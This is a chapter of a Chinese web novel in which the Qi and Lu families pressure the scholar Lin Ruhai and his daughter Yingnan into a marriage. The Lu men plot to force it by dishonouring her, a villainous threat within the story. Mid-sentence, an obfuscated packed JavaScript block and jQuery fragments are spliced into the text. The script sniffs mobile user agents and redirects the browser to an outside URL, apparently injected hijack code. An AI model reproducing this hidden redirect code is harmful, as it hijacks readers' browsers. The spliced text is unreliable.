戚老夫人当然不提钱的事，向来都是别家求着来送礼，她起这个头，是给林家脸面。


    林英男真心觉得别扭，又不善推辞，道：“还是不献丑了，只因这吃食是我新学的，手艺还不精进，待再改进些做到甜而不腻，届时再送请老太太品尝。


    戚家老夫人有些不悦，问道：“听说你老家是本县泰平镇？那陆家米铺知道吗？”


    林英男答知道，以为接下来会听到什么隐秘的人或事。


    哪知老夫人半天不语，过了一阵，疲惫地端起茶盏道：“年纪大了就易乏，下回再来家玩吧。天不早了，春花，送送林家姑娘。”


    春花气林英男不给老夫人面子，糕点方子而已。要不是看她为讨好戚家，琢磨出个什么戚风蛋糕，才叫她来家的。不然就凭她一个乡下村姑，能进到戚家老夫人的正房说话？哼，仗着老夫人慈善，竟不行跪拜礼只屈膝作揖。


    春花懒懒地走，到院门处，道：“你原路返回就是，我还有事要做。”


    林英男不懂戚家待客之道，但是觉察春花态度骤然转变，前恭后倨都不为过。若是从前，她定潇洒地将见面礼扔给门房，不会往家里带。可爹在戚家教书，不能因为她的小脾气让爹难堪。


    再说即便闹狠了，戚家让春花赔个不疼不痒的不是，私下还会嗤笑她人穷骨头硬。


    越想越愠怒，越看越心烦，提在手里简直恨不得扔掉。


    进屋，胡乱塞进箱里，“砰”地合上盖，眼不见心不烦。


    林英男没说在戚家的糟心事，只催爹尽快写完英雄传的续集。


    林如海以为小财迷想攒钱了。


    “有的是时间，慢慢来。”


    “爹还是尽快写完拿到润笔费，咱们辞了戚家的活，省得天天费脑子对付那小霸王。”


    “可是在戚家受委屈了？”


    林英男微怔，淡淡道：“这些不算什么事，人家有钱有权，给点气手，还不是只能受着。说来说去打铁还需自身硬，爹继续读书去科举吧，咱们弄个官身也好自保。”


    林如海愣住，他以为女儿是赞成他不再考科举的。嗫嗫道：“如今这样，也很好啊。”


    “好在哪里？端着戚家碗看脸色。哪天他家老太太或者少爷不爽了，赶咱们走，露宿街头也很好？”


    这话说的林如海无言以对。


    林英男劝道：“咱们这样的平民百姓只能靠科举改命，爹若是对自己没信心，不如申请进县学。”


    林如海思考良久，点头同意继续学业。但要再缓个把月时间，等手里的英雄传续集写完，届时辞了戚家的差事。


    进了冬月，戚家正门口停下好几辆马车，陆俊学从车厢里钻出来。伸懒腰打量四周，突然见到什么，惊喜地挥手。


    林英男往家走，巷道被戚家门口乱停的车马占了大半，她贴着墙边避让。


    陆俊学突然出现眼前，林英男惊到。


    瞄了眼那边的车，果然见到两个肥胖身形。


    “我还担心进城一趟碰不到你呢，想不到竟在这里遇到。”


    林英男神色平静，淡淡地点头，“嗯是很巧，我还有事，回见啊。”


    陆俊学哪会放弃难得的机会，紧追着问：“你住哪？”


    林英男随手指指前面。


    陆俊学诧异：这片房屋都是戚家的，胡同尽头仅一户也归属戚家啊。


    眨眼功夫，林英男已悄然走远，他想追去看看，被大哥叫去搬东西。


    戚家老张老野过来帮手搬运，收到陆大户赏钱，谄媚地连声道：“谢谢亲家老爷。”


    正房里，陆家父子问起戚风。


    戚老夫人笑道：“等下了学就能见面了。”


    “还是上回见面的尚夫子吗？”


    “早不是了，新请的秀才公，老家也在泰平镇。”


    陆家父子眼里尽是不可置信，问道：“不会是叫林如海的秀才吧？”


    “就是他。他还有个女儿，模样俊俏手也巧。”


    想不到林家父女竟在戚家做事，难道不想继续科举了？


    陆大户终是放不下林家的人，心里起了个念头。


    “姨妈，外甥想请您做个媒。就是林如海的女儿，我想说给老大当媳妇。”


    戚老夫人赞许他的眼光，正要开口。


    陆俊学插话道：“上回林家大叔婉拒说了招婿养老。爹忘了？”


    “听他瞎白话，那是在拿乔，想让他女儿攀个更有钱有势的！我想着他中了秀才，没准以后有狗屎运能当个举人老爷，打我陆家脸就打吧。如今不考了，还在姨妈家当教书先生，那我还顾忌什么！陆家跟他说亲是给他脸！”


    陆大户越说越霸气，手里佛珠也越转越快。


    陆家老大瓮声瓮气道：“爹说的对！娶他女儿是给他家脸面。”


    陆俊学面色微红，想争辩些什么，被他爹瞪眼警告，只得坐在那里听着。


    戚老夫人不明就里，以为两家曾经议过亲只是没成。也说林家姑娘不错，配的上陆家，只是年纪有些小。


    陆大户悠悠道：“小更好，我家先娶进门养着，我请姨妈做媒，也不知林如海肯不肯给您老面子。”


    ——


    林如海被请去老夫人那里说话，他以为自己教育戚风得法，家长要夸他奖励他。


    几句家常聊下来，他才明白是戚家想给英男说亲事。


    他想着戚家来往亲朋，家境应该都是殷实的，女儿十六也能开始说亲，看看情况也好。起身感谢戚老夫热心肠。


    说着问着，亲事的对方竟是泰平镇陆家老大！


    林如海起初一脸错愕到怒火渐起，既便陆家是戚家亲戚，他也不会同意。


    戚老夫人上回被林英男婉拒，如今又遭林如海当面直愣愣拒绝，脸色渐渐难看起来。


    屋里一时间静默，林如海被晾的难堪，起身告辞。


    戚老夫人冷眼看他，“往日都是人家三请四请求我做媒，没成想今儿竟是我自作多情，罢了，我这老脸生疼，先生就当没今日这事吧。”


    林如海没料到平时看着很讲道理的老太太尽然如此不留情面，连说：得罪得罪。


    -


    戚宗杰刚到家就听春花来报：老夫人头疼，老爷快请大夫来家看看吧。


    他急问：可是受冷风吹的。


    春花瘪嘴道：是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991831|193745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被人气的。


    逼着春花把头疼的缘由说明白，戚宗杰不高兴了，叫老张去请林如海过来。


    戚宗杰先问了戚风的功课情况，夸赞先生教学有方，不愧是案首。又道：“听我母亲说想给令爱说门极好的亲事，先生拒了。是信不过她老人家，以为我戚家胡乱牵线？”


    林如海忙道：“绝不是，是我家女儿还小，我想留着她招婿。”


    戚宗杰客气道：“陆家是泰平镇首富，老大样貌平常却是憨厚能干，陆家是心诚求娶，都是同一个镇，嫁还是招婿都一样养老。”


    话里话外意思：林家高攀陆家应该偷着乐。


    林如海面色微霁，起身谢过好意，只说：贫富悬殊过大，齐大非偶，两家实在不合适。


    戚宗杰摆摆手，“总归不过是嫁妆的事，陆家是戚家亲戚，你又是我费心请来的先生，这是多大的缘分？戚家愿意给令爱置办一份上等嫁妆，先生也别推脱，我真心想让大家都好过。”


    话至此，知道戚家想用权势逼迫，林如海觉得多说无益，只推辞：家中只有一女，婚姻大事必须谨慎。他本人要继续学业，今日便请辞。


    戚宗杰压着火气劝他不必呕气，可林如海已经起身行礼，坚持如此。


    正巧陆老板来书房找表弟说事，站在门口听到这些对话，不禁牙痒痒！他恨林如海太狂妄，不懂人情世故，不给戚宗杰面子简直比打他陆家脸还痛！


    陆家老大气得猛拍桌面，怒气冲天地骂：“这个死痨病鬼！当他家女儿是公主命啊！我不信了，等生米做成熟饭，他女儿没了清白，看他还怎么拿乔作怪！”


    陆俊学劝爹和大哥不要胡来，毕竟林如海是秀才出身。


    “秀才在武安县算个屁！他林如海就算中了举人，只要是在武安县，就永远翻不了天！”


    陆老板讨厌二儿子心肠软，起身轰他出去。关上门，同大儿商量如何使手段逼林家就范。


    陆俊学急得攥拳狠狠砸树。


    父兄浑起来真是什么坏事都敢做，若通知林家像是背叛父兄，他不敢。


    思来想去，戚风这个小孩去最合适。


    “表弟你去林家一趟，告诉他们赶紧出去躲几天，等我们回家后再回来！”


    戚风不知道先生请辞的事，好奇追问为什么要躲出去。


    “别问了，反正是为了林家好，赶紧去啊！”


    “那行吧，回来你得让我骑大马！”戚风趁机提条件。


    陆俊学随口应下，催他快去。


    戚风蹦跳走到大门口，遇到他娘王氏，见她大包小包地回来，跑过去抱着他娘胳膊问，“给我带九连环和鹦鹉了吗？勤表哥说过舅舅不让他养，要送与我的。”


    王氏从车上拎起罩着蓝布的物件，宠溺地道：“带了，都带了，瞧，这不是鸟笼是什么？”


    戚风一把拽下罩布，两只白鸟弯头呆愣盯着他。


    果然好看，红眼睛,头部与冠项为黄色,两眼后斜下的颊部,各有一块圆形红斑,十分秀丽。


    喜的他跟什么似的，提着笼子边跑边嚷：我要捉虫子给它们吃！


    这么一玩，他早把报信的事忘了。